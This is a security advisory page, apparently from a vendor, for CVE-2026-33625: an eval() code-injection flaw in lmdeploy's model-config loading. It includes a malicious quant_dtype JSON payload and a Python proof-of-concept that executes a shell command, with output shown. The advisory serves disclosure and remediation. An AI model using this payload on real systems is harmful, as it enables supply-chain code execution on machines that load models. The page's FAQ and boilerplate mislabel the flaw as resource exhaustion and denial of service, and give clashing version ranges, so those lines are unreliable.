Summary
LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.
Details
Vulnerable code (permalink):
quant_dtype = eval(f'torch.{quant_dtype}') # line 620
The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with:
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}
Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.
PoC
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')
Output:
uid=0(root) gid=0(root) groups=0(root)
Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
- Full remote code execution when loading a malicious model
- No user interaction beyond running
lmdeploy serveor similar with the model - Affects all deployment scenarios (local, cloud, production)
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2026-33625 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.12.3); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-33625? CVE-2026-33625 is a high-severity uncontrolled resource consumption vulnerability in lmdeploy (pip), affecting versions >= 0.12.1, < 0.12.3. It is fixed in 0.12.3. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2026-33625? CVE-2026-33625 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of lmdeploy are affected by CVE-2026-33625? lmdeploy (pip) versions >= 0.12.1, < 0.12.3 is affected.
- Is there a fix for CVE-2026-33625? Yes. CVE-2026-33625 is fixed in 0.12.3. Upgrade to this version or later.
- Is CVE-2026-33625 exploitable, and should I be worried? Whether CVE-2026-33625 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33625 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33625? Upgrade
lmdeployto 0.12.3 or later.